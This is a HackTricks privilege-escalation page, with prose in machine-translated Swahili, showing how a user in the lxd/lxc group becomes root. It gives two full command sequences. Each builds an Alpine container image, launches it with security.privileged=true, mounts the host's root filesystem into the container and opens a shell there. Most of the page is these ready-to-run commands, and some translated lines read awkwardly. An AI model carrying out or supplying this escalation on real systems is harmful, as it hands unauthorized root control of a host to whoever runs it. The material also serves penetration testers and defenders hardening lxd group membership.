lxd/lxc Group - Privilege escalation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Ikiwa unahusishwa na lxd au lxc kikundi, unaweza kuwa root

Kutumia bila mtandao

Njia ya 1

Unaweza kufunga kwenye mashine yako mjenzi wa distro hii: https://github.com/lxc/distrobuilder (fuata maelekezo ya github):

sudo su
# Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools

# Clone repo
git clone https://github.com/lxc/distrobuilder

# Make distrobuilder
cd distrobuilder
make

# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

# Create the container
## Using build-lxd
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18

Pakia faili lxd.tar.xz na rootfs.squashfs, ongeza picha kwenye repo na uunde kontena:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Ikiwa unakutana na kosa Kosa: Hakuna hifadhi ya kuhifadhiwa iliyopatikana. Tafadhali tengeneza hifadhi mpya ya kuhifadhiwa Kimbia lxd init na rudia kipande cha amri kilichopita

Hatimaye unaweza kutekeleza kontena na kupata root:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Method 2

Jenga picha ya Alpine na uanze kutumia bendera security.privileged=true, ukilazimisha kontena kuingiliana kama root na mfumo wa faili wa mwenyeji.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true